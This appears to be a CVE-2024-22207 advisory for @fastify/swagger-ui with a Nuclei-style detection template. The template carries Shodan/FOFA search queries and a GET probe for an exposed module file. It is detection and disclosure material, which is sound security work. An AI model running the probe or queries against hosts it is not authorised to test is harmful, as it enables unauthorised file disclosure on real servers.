fastify-swagger-ui is a Fastify plugin for serving Swagger UI. Prior to 2.1.0, the default configuration of `@fastify/swagger-ui` without `baseDir` set will lead to all files in the module's directory being exposed via http routes served by the module. The vulnerability is fixed in v2.1.0. Setting the `baseDir` option can also work around this vulnerability.
PoC代码[已公开]
id: CVE-2024-22207
info:
name: Fastify Swagger-UI - Information Disclosure
author: DhiyaneshDK,iamnoooob
severity: medium
description: |
fastify-swagger-ui is a Fastify plugin for serving Swagger UI. Prior to 2.1.0, the default configuration of `@fastify/swagger-ui` without `baseDir` set will lead to all files in the module's directory being exposed via http routes served by the module. The vulnerability is fixed in v2.1.0. Setting the `baseDir` option can also work around this vulnerability.
reference:
- https://security.netapp.com/advisory/ntap-20240216-0002/
- https://nvd.nist.gov/vuln/detail/CVE-2024-22207
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2024-22207
cwe-id: CWE-1188
epss-score: 0.13489
epss-percentile: 0.93982
cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:node.js:*:*
metadata:
vendor: smartbear
product: swagger_ui
framework: node.js
shodan-query:
- http.component:"swagger"
- http.favicon.hash:"-1180440057"
fofa-query: icon_hash="-1180440057"
tags: cve,cve2024,swagger-ui,exposure
http:
- method: GET
path:
- "{{BaseURL}}/documentation/playwright.config.js"
matchers-condition: and
matchers:
- type: word
words:
- "module.exports"
- "defineConfig"
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022021eceda3f3d6d6bb99d76b2bc85e423483f14db49430e458c3bc587fcfa3d79c022100d589cf0e3430fa3feb7c940917d582813f5ce33ebf4959c46fbd39f4428cbbc1:922c64590222798bb761d5b6d8e72950